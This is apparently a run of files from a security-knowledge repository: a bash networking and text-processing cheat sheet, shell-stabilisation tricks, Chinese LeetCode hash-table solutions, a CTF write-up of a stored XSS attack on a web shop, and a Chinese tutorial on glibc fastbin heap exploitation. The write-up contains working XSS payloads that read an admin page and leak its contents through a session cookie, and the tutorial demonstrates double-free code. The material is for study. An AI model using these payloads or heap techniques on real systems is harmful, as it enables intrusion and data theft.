`UNIX-CLIENT:<params>` - communicates with the specified peer socket * `filename` - define socket ___ ##### Tool: [p0f](http://lcamtuf.coredump.cx/p0f3/) ###### Set iface in promiscuous mode and dump traffic to the log file ```bash p0f -i enp0s25 -p -d -o /dump/enp0s25.log ``` * `-i` - listen on the specified interface * `-p` - set interface in promiscuous mode * `-d` - fork into background * `-o` - output file ___ ##### Tool: [netstat](https://en.wikipedia.org/wiki/Netstat) ###### Graph # of connections for each hosts ```bash netstat -an | awk '/ESTABLISHED/ { split($5,ip,":"); if (ip[1] !~ /^$/) print ip[1] }' | \ sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }' ``` ###### Monitor open connections for specific port including listen, count and sort it per IP ```bash watch "netstat -plan | grep :443 | awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1" ``` ###### Grab banners from local IPv4 listening ports ```bash netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}" ``` ___ ##### Tool: [rsync](https://en.wikipedia.org/wiki/Rsync) ###### Rsync remote data as root using sudo ```bash rsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/ ``` ___ ##### Tool: [host](https://en.wikipedia.org/wiki/Host_(Unix)) ###### Resolves the domain name (using external dns server) ```bash host google.com 9.9.9.9 ``` ###### Checks the domain administrator (SOA record) ```bash host -t soa google.com 9.9.9.9 ``` ___ ##### Tool: [dig](https://en.wikipedia.org/wiki/Dig_(command)) ###### Resolves the domain name (short output) ```bash dig google.com +short ``` ###### Lookup NS record for specific domain ```bash dig @9.9.9.9 google.com NS ``` ###### Query only answer section ```bash dig google.com +nocomments +noquestion +noauthority +noadditional +nostats ``` ###### Query ALL DNS Records ```bash dig google.com ANY +noall +answer ``` ###### DNS Reverse Look-up ```bash dig -x 172.217.16.14 +short ``` ___ ##### Tool: [certbot](https://certbot.eff.org/) ###### Generate multidomain certificate ```bash certbot certonly -d example.com -d www.example.com ``` ###### Generate wildcard certificate ```bash certbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com ``` ###### Generate certificate with 4096 bit private key ```bash certbot certonly -d example.com -d www.example.com --rsa-key-size 4096 ``` ___ ##### Tool: [network-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-network-other) ###### Get all subnets for specific AS (Autonomous system) ```bash AS="AS32934" whois -h whois.radb.net -- "-i origin ${AS}" | \ grep "^route:" | \ cut -d ":" -f2 | \ sed -e 's/^[ \t]//' | \ sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \ cut -d ":" -f2 | \ sed -e 's/^[ \t]/allow /' | \ sed 's/$/;/' | \ sed 's/allow */subnet -> /g' ``` ###### Resolves domain name from dns.google.com with curl and jq ```bash _dname="google.com" ; curl -s "https://dns.google.com/resolve?name=${_dname}&type=A" | jq . ``` ##### Tool: [git](https://git-scm.com/) ###### Log alias for a decent view of your repo ```bash # 1) git log --oneline --decorate --graph --all # 2) git log --graph \ --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' \ --abbrev-commit ``` ___ ##### Tool: [python](https://www.python.org/) ###### Static HTTP web server ```bash # Python 3.x python3 -m http.server 8000 --bind 127.0.0.1 # Python 2.x python -m SimpleHTTPServer 8000 ``` ###### Static HTTP web server with SSL support ```bash # Python 3.x from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="path/to/key.pem", certfile='path/to/cert.pem', server_side=True) httpd.serve_forever() # Python 2.x import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="path/tp/key.pem", certfile='path/to/cert.pem', server_side=True) httpd.serve_forever() ``` ###### Encode base64 ```bash python -m base64 -e <<< "sample string" ``` ###### Decode base64 ```bash python -m base64 -d <<< "dGhpcyBpcyBlbmNvZGVkCg==" ``` ##### Tool: [awk](http://www.grymoire.com/Unix/Awk.html) ###### Search for matching lines ```bash # egrep foo awk '/foo/' filename ``` ###### Search non matching lines ```bash # egrep -v foo awk '!/foo/' filename ``` ###### Print matching lines with numbers ```bash # egrep -n foo awk '/foo/{print FNR,$0}' filename ``` ###### Print the last column ```bash awk '{print $NF}' filename ``` ###### Find all the lines longer than 80 characters ```bash awk 'length($0)>80{print FNR,$0}' filename ``` ###### Print only lines of less than 80 characters ```bash awk 'length < 80' filename ``` ###### Print double new lines a file ```bash awk '1; { print "" }' filename ``` ###### Print line numbers ```bash awk '{ print FNR "\t" $0 }' filename awk '{ printf("%5d : %s\n", NR, $0) }' filename # in a fancy manner ``` ###### Print line numbers for only non-blank lines ```bash awk 'NF { $0=++a " :" $0 }; { print }' filename ``` ###### Print the line and the next two (i=5) lines after the line matching regexp ```bash awk '/foo/{i=5+1;}{if(i){i--; print;}}' filename ``` ###### Print the lines starting at the line matching 'server {' until the line matching '}' ```bash awk '/server {/,/}/' filename ``` ###### Print multiple columns with separators ```bash awk -F' ' '{print "ip:\t" $2 "\n port:\t" $3' filename ``` ###### Remove empty lines ```bash awk 'NF > 0' filename # alternative: awk NF filename ``` ###### Delete trailing white space (spaces, tabs) ```bash awk '{sub(/[ \t]*$/, "");print}' filename ``` ###### Delete leading white space ```bash awk '{sub(/^[ \t]+/, ""); print}' filename ``` ###### Remove duplicate consecutive lines ```bash # uniq awk 'a !~ $0{print}; {a=$0}' filename ``` ###### Remove duplicate entries in a file without sorting ```bash awk '!x[$0]++' filename ``` ###### Exclude multiple columns ```bash awk '{$1=$3=""}1' filename ``` ###### Substitute foo for bar on lines matching regexp ```bash awk '/regexp/{gsub(/foo/, "bar")};{print}' filename ``` ###### Add some characters at the beginning of matching lines ```bash awk '/regexp/{sub(/^/, "++++"); print;next;}{print}' filename ``` ###### Get the last hour of Apache logs ```bash awk '/'$(date -d "1 hours ago" "+%d\\/%b\\/%Y:%H:%M")'/,/'$(date "+%d\\/%b\\/%Y:%H:%M")'/ { print $0 }' \ /var/log/httpd/access_log ``` ___ ##### Tool: [sed](http://www.grymoire.com/Unix/Sed.html) ###### Print a specific line from a file ```bash sed -n 10p /path/to/file ``` ###### Remove a specific line from a file ```bash sed -i 10d /path/to/file # alternative (BSD): sed -i'' 10d /path/to/file ``` ###### Remove a range of lines from a file ```bash sed -i <file> -re '<start>,<end>d' ``` ###### Replace newline(s) with a space ```bash sed ':a;N;$!ba;s/\n/ /g' /path/to/file # cross-platform compatible syntax: sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' /path/to/file ``` - `:a` create a label `a` - `N` append the next line to the pattern space - `$!` if not the last line, ba branch (go to) label `a` - `s` substitute, `/\n/` regex for new line, `/ /` by a space, `/g` global match (as many times as it can) Alternatives: ```bash # perl version (sed-like speed): perl -p -e 's/\n/ /' /path/to/file # bash version (slow): while read line ; do printf "%s" "$line " ; done < file ``` ###### Delete string +N next lines ```bash sed '/start/,+4d' /path/to/file ``` ___ ##### Tool: [grep](http://www.grymoire.com/Unix/Grep.html) ###### Search for a "pattern" inside all files in the current directory ```bash grep -rn "pattern" grep -RnisI "pattern" * fgrep "pattern" * -R ``` ###### Show only for multiple patterns ```bash grep 'INFO*'\''WARN' filename grep 'INFO\|WARN' filename grep -e INFO -e WARN filename grep -E '(INFO|WARN)' filename egrep "INFO|WARN" filename ``` ###### Except multiple patterns ```bash grep -vE '(error|critical|warning)' filename ``` ###### Show data from file without comments ```bash grep -v ^[[:space:]]*# filename ``` ###### Show data from file without comments and new lines ```bash egrep -v '#|^$' filename ``` ###### Show strings with a dash/hyphen ```bash grep -e -- filename grep -- -- filename grep "\-\-" filename ``` ###### Remove blank lines from a file and save output to new file ```bash grep . filename > newfilename ``` ##### Tool: [perl](https://www.perl.org/) ###### Search and replace (in place) ```bash perl -i -pe's/SEARCH/REPLACE/' filename ``` ###### Edit of `*.conf` files changing all foo to bar (and backup original) ```bash perl -p -i.orig -e 's/\bfoo\b/bar/g' *.conf ``` ###### Prints the first 20 lines from `*.conf` files ```bash perl -pe 'exit if $. > 20' *.conf ``` ###### Search lines 10 to 20 ```bash perl -ne 'print if 10 .. 20' filename ``` ###### Delete first 10 lines (and backup original) ```bash perl -i.orig -ne 'print unless 1 .. 10' filename ``` ###### Delete all but lines between foo and bar (and backup original) ```bash perl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename ``` ###### Reduce multiple blank lines to a single line ```bash perl -p -i -00pe0 filename ``` ###### Convert tabs to spaces (1t = 2sp) ```bash perl -p -i -e 's/\t/ /g' filename ``` ###### Read input from a file and report number of lines and characters ```bash perl -lne '$i++; $in += length($_); END { print "$i lines, $in characters"; }' filename ``` #### Shell Tricks &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) When you get a shell, it is generally not very clean, but after following these steps, you will have a fairly clean and comfortable shell to work with. 1) `script /dev/null -c bash` 2) Ctrl-Z (to send it to background) 3) `stty raw -echo; fg` (returns the shell to foreground) 4) `reset` (to reset terminal) 5) `xterm` (when asked for terminal type) 6) `export TERM=xterm; export SHELL=bash` #### Shell functions &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### Table of Contents - [Domain resolve](#domain-resolve) - [Get ASN](#get-asn) ###### Domain resolve ```bash # Dependencies: # - curl # - jq function DomainResolve() { local _host="$1" local _curl_base="curl --request GET" local _timeout="15" _host_ip=$($_curl_base -ks -m "$_timeout" "https://dns.google.com/resolve?name=${_host}&type=A" | \ jq '.Answer[0].data' | tr -d "\"" 2>/dev/null) if [[ -z "$_host_ip" ]] || [[ "$_host_ip" == "null" ]] ; then echo -en "Unsuccessful domain name resolution.\\n" else echo -en "$_host > $_host_ip\\n" fi } ``` Example: ```bash shell> DomainResolve nmap.org nmap.org > 45.33.49.119 shell> DomainResolve nmap.org Unsuccessful domain name resolution. ``` ###### Get ASN ```bash # Dependencies: # - curl function GetASN() { local _ip="$1" local _curl_base="curl --request GET" local _timeout="15" _asn=$($_curl_base -ks -m "$_timeout" "http://ip-api.com/line/${_ip}?fields=as") _state=$(echo $?) if [[ -z "$_ip" ]] || [[ "$_ip" == "null" ]] || [[ "$_state" -ne 0 ]]; then echo -en "Unsuccessful ASN gathering.\\n" else echo -en "$_ip > $_asn\\n" fi } ``` Example: ```bash shell> GetASN 1.1.1.1 1.1.1.1 > AS13335 Cloudflare, Inc. shell> GetASN 0.0.0.0 Unsuccessful ASN gathering. ```
sec-knowleage
# Leetcode 题解 - 哈希表 <!-- GFM-TOC --> * [Leetcode 题解 - 哈希表](#leetcode-题解---哈希表) * [1. 数组中两个数的和为给定值](#1-数组中两个数的和为给定值) * [2. 判断数组是否含有重复元素](#2-判断数组是否含有重复元素) * [3. 最长和谐序列](#3-最长和谐序列) * [4. 最长连续序列](#4-最长连续序列) <!-- GFM-TOC --> 哈希表使用 O(N) 空间复杂度存储数据,并且以 O(1) 时间复杂度求解问题。 - Java 中的 **HashSet** 用于存储一个集合,可以查找元素是否在集合中。如果元素有穷,并且范围不大,那么可以用一个布尔数组来存储一个元素是否存在。例如对于只有小写字符的元素,就可以用一个长度为 26 的布尔数组来存储一个字符集合,使得空间复杂度降低为 O(1)。 Java 中的 **HashMap** 主要用于映射关系,从而把两个元素联系起来。HashMap 也可以用来对元素进行计数统计,此时键为元素,值为计数。和 HashSet 类似,如果元素有穷并且范围不大,可以用整型数组来进行统计。在对一个内容进行压缩或者其它转换时,利用 HashMap 可以把原始内容和转换后的内容联系起来。例如在一个简化 url 的系统中 [Leetcdoe : 535. Encode and Decode TinyURL (Medium) [Leetcode](https://leetcode.com/problems/encode-and-decode-tinyurl/description/),利用 HashMap 就可以存储精简后的 url 到原始 url 的映射,使得不仅可以显示简化的 url,也可以根据简化的 url 得到原始 url 从而定位到正确的资源�) / [力扣](https://leetcode-cn.com/problems/encode-and-decode-tinyurl/description/),利用 HashMap 就可以存储精简后的 url 到原始 url 的映射,使得不仅可以显示简化的 url,也可以根据简化的 url 得到原始 url 从而定位到正确的资源�) ## 1. 数组中两个数的和为给定值 1\. Two Sum (Easy) [Leetcode](https://leetcode.com/problems/two-sum/description/) / [力扣](https://leetcode-cn.com/problems/two-sum/description/) 可以先对数组进行排序,然后使用双指针方法或者二分查找方法。这样做的时间复杂度为 O(NlogN),空间复杂度为 O(1)。 用 HashMap 存储数组元素和索引的映射,在访问到 nums[i] 时,判断 HashMap 中是否存在 target - nums[i],如果存在说明 target - nums[i] 所在的索引和 i 就是要找的两个数。该方法的时间复杂度为 O(N),空间复杂度为 O(N),使用空间来换取时间。 ```java public int[] twoSum(int[] nums, int target) { HashMap<Integer, Integer> indexForNum = new HashMap<>(); for (int i = 0; i < nums.length; i++) { if (indexForNum.containsKey(target - nums[i])) { return new int[]{indexForNum.get(target - nums[i]), i}; } else { indexForNum.put(nums[i], i); } } return null; } ``` ## 2. 判断数组是否含有重复元素 217\. Contains Duplicate (Easy) [Leetcode](https://leetcode.com/problems/contains-duplicate/description/) / [力扣](https://leetcode-cn.com/problems/contains-duplicate/description/) ```java public boolean containsDuplicate(int[] nums) { Set<Integer> set = new HashSet<>(); for (int num : nums) { set.add(num); } return set.size() < nums.length; } ``` ## 3. 最长和谐序列 594\. Longest Harmonious Subsequence (Easy) [Leetcode](https://leetcode.com/problems/longest-harmonious-subsequence/description/) / [力扣](https://leetcode-cn.com/problems/longest-harmonious-subsequence/description/) ```html Input: [1,3,2,2,5,2,3,7] Output: 5 Explanation: The longest harmonious subsequence is [3,2,2,2,3]. ``` 和谐序列中最大数和最小数之差正好为 1,应该注意的是序列的元素不一定是数组的连续元素。 ```java public int findLHS(int[] nums) { Map<Integer, Integer> countForNum = new HashMap<>(); for (int num : nums) { countForNum.put(num, countForNum.getOrDefault(num, 0) + 1); } int longest = 0; for (int num : countForNum.keySet()) { if (countForNum.containsKey(num + 1)) { longest = Math.max(longest, countForNum.get(num + 1) + countForNum.get(num)); } } return longest; } ``` ## 4. 最长连续序列 128\. Longest Consecutive Sequence (Hard) [Leetcode](https://leetcode.com/problems/longest-consecutive-sequence/description/) / [力扣](https://leetcode-cn.com/problems/longest-consecutive-sequence/description/) ```html Given [100, 4, 200, 1, 3, 2], The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4. ``` 要求以 O(N) 的时间复杂度求解。 ```java public int longestConsecutive(int[] nums) { Map<Integer, Integer> countForNum = new HashMap<>(); for (int num : nums) { countForNum.put(num, 1); } for (int num : nums) { forward(countForNum, num); } return maxCount(countForNum); } private int forward(Map<Integer, Integer> countForNum, int num) { if (!countForNum.containsKey(num)) { return 0; } int cnt = countForNum.get(num); if (cnt > 1) { return cnt; } cnt = forward(countForNum, num + 1) + 1; countForNum.put(num, cnt); return cnt; } private int maxCount(Map<Integer, Integer> countForNum) { int max = 0; for (int num : countForNum.keySet()) { max = Math.max(max, countForNum.get(num)); } return max; } ```
sec-knowleage
# Fedora shop (Web) We get access to a online shop with fedoras (every hacker should wear one!): ![](page.png) Once we add some stuff to the cart, we can submit the order and there we can see that the order initially has status `Pending approval` and after a a short while it gets changed to `Shipped`. It seems like a textbook example for a XSS attack, so we try some injections in the fields of the order, and it turns out the "Telephone" field is not sanitized properly and can be injected with javascript. There are, however, some problems: 1. There is a limit to how long the fields in the order can be, and the telephone field can't fit a long payload, so we have very limited number of characters we can use there. 2. The task description says that the admin is behind a firewall, and it seems that he can't make any external connections. It means that even if we can execute XSS code as admin, we can't really get the results back. The first problem can be tackled by splitting the payload among other fields in the form and using the vulnerable field just as entry point. So there we put only: ```javascript <script> window.onload=function(){ eval(document.getElementsByTagName('td')[15].innerText); }; </script> ``` where the 15th `<td>` tag contains the contents of the field `other information`. There we put: ```javascript xhr = new XMLHttpRequest(); xhr.open('GET','/admin.php'); xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE){ eval(document.getElementsByTagName('td')[14].innerText); } }; xhr.send(); ``` This will read the contents of the `admin.php` page for us and then it will invoke the script stored in 14th `<td>` which means contents of `address` field. By using this approach we bypass the problem of running a long script. The other issue is how to retrieve the data back from the server since admin can't connect to any external server. We noticed that the cart is implemented server-side, so the information about the object we put there is stored on the server and retrieved by session ID cookie. The admin might not be able to connect to any external server, but can access the fedora shop as localhost, so we could potentially force the admin to place some things in a cart with specified session ID. Initially we thought we will need to extract data character by character, by putting the ascii code of a single character as `quantity` of the fedoras to buy, but we noticed that there is no check if the field content is a number! This meant we could simply put all of the contents at once with a single operation. So the final part of the payload was: ```javascript xhr = new XMLHttpRequest(); xhr.open('POST','/?action=add&code=wfedora',true); xhr.withCredentials=true; document.cookie='PHPSESSID=""" + session + """'; xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.send('quantity='+this.responseText); ``` Once we run the attack we can see in our cart: ![](cart.png) Whole attack script [here](fedora.py)
sec-knowleage
# Fastbin Attack ## 介绍 fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是: * 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 * 漏洞发生于 fastbin 类型的 chunk 中 如果细分的话,可以做如下的分类: - Fastbin Double Free - House of Spirit - Alloc to Stack - Arbitrary Alloc 其中,前两种主要漏洞侧重于利用 `free` 函数释放**真的 chunk 或伪造的 chunk**,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 `fd` 指针,直接利用 `malloc` 申请指定位置 chunk 进行攻击。 ## 原理 fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来看一下 fastbin 是怎样管理空闲 chunk 的。 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x30); chunk2=malloc(0x30); chunk3=malloc(0x30); //进行释放 free(chunk1); free(chunk2); free(chunk3); return 0; } ``` 释放前 ``` 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk ``` 执行三次 free 进行释放后 ``` 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2 0x602050: 0x0000000000602000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3 0x602090: 0x0000000000602040 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk ``` 此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1构成了一个单链表 ``` Fastbins[idx=2, size=0x30,ptr=0x602080] ===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE) ===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE) ===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE) ``` ## Fastbin Double Free ### 介绍 Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆(type confused)的效果。 Fastbin Double Free 能够成功利用主要有两部分的原因 1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空 2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。 ``` /* Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } ``` ### 演示 下面的示例程序说明了这一点,当我们试图执行以下代码时 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk1); return 0; } ``` 如果你执行这个程序,不出意外的话会得到如下的结果,这正是 _int_free 函数检测到了 fastbin 的 double free。 ``` *** Error in `./tst': double free or corruption (fasttop): 0x0000000002200010 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbb7a36c7e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fbb7a37537a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fbb7a37953c] ./tst[0x4005a2] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbb7a315830] ./tst[0x400499] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst 02200000-02221000 rw-p 00000000 00:00 0 [heap] 7fbb74000000-7fbb74021000 rw-p 00000000 00:00 0 7fbb74021000-7fbb78000000 ---p 00000000 00:00 0 7fbb7a0df000-7fbb7a0f5000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a0f5000-7fbb7a2f4000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f4000-7fbb7a2f5000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f5000-7fbb7a4b5000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a4b5000-7fbb7a6b5000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b5000-7fbb7a6b9000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b9000-7fbb7a6bb000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6bb000-7fbb7a6bf000 rw-p 00000000 00:00 0 7fbb7a6bf000-7fbb7a6e5000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8c7000-7fbb7a8ca000 rw-p 00000000 00:00 0 7fbb7a8e1000-7fbb7a8e4000 rw-p 00000000 00:00 0 7fbb7a8e4000-7fbb7a8e5000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e5000-7fbb7a8e6000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e6000-7fbb7a8e7000 rw-p 00000000 00:00 0 7ffcd2f93000-7ffcd2fb4000 rw-p 00000000 00:00 0 [stack] 7ffcd2fc8000-7ffcd2fca000 r--p 00000000 00:00 0 [vvar] 7ffcd2fca000-7ffcd2fcc000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储) ``` 如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; } ``` 第一次释放`free(chunk1)` 第二次释放`free(chunk2)` 第三次释放`free(chunk1)` 注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2,这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。 下面这个示例演示了这一点,首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1的链表。之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk,之后我们可以看到 fastbin 会把堆块分配到这里。 ``` typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; } ``` 在我的系统上 chunk_b 输出的值会是 0x601090,这个值位于bss段中正是我们之前设置的`CHUNK bss_chunk` ``` Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/Ox9A82/tst/tst 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/Ox9A82/tst/tst 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/Ox9A82/tst/tst 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000021 0x601090 <bss_chunk+16>:0x0000000000000000 0x0000000000000000 0x6010a0: 0x0000000000000000 0x0000000000000000 0x6010b0: 0x0000000000000000 0x0000000000000000 0x6010c0: 0x0000000000000000 0x0000000000000000 ``` 值得注意的是,我们在 main 函数的第一步就进行了`bss_chunk.size=0x21;`的操作,这是因为_int_malloc会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。 ``` *** Error in `./tst': malloc(): memory corruption (fast): 0x0000000000601090 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f8f9deb27e5] /lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f8f9debd651] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f8f9debf184] ./tst[0x400636] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8f9de5b830] ./tst[0x4004e9] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst 00bc4000-00be5000 rw-p 00000000 00:00 0 [heap] 7f8f98000000-7f8f98021000 rw-p 00000000 00:00 0 7f8f98021000-7f8f9c000000 ---p 00000000 00:00 0 7f8f9dc25000-7f8f9dc3b000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9dc3b000-7f8f9de3a000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9de3a000-7f8f9de3b000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9de3b000-7f8f9dffb000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9dffb000-7f8f9e1fb000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e1fb000-7f8f9e1ff000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e1ff000-7f8f9e201000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e201000-7f8f9e205000 rw-p 00000000 00:00 0 7f8f9e205000-7f8f9e22b000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e40d000-7f8f9e410000 rw-p 00000000 00:00 0 7f8f9e427000-7f8f9e42a000 rw-p 00000000 00:00 0 7f8f9e42a000-7f8f9e42b000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e42b000-7f8f9e42c000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e42c000-7f8f9e42d000 rw-p 00000000 00:00 0 7fff71a94000-7fff71ab5000 rw-p 00000000 00:00 0 [stack] 7fff71bd9000-7fff71bdb000 r--p 00000000 00:00 0 [vvar] 7fff71bdb000-7fff71bdd000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储) ``` _int_malloc 中的校验如下 ``` if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim)); return NULL; } ``` ### 小总结 通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果( 首先要通过验证 ),这就相当于任意地址写任意值的效果。 ## House Of Spirit ### 介绍 House of Spirit 是 `the Malloc Maleficarum` 中的一种技术。 该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配**指定地址**的 chunk 的目的。 要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 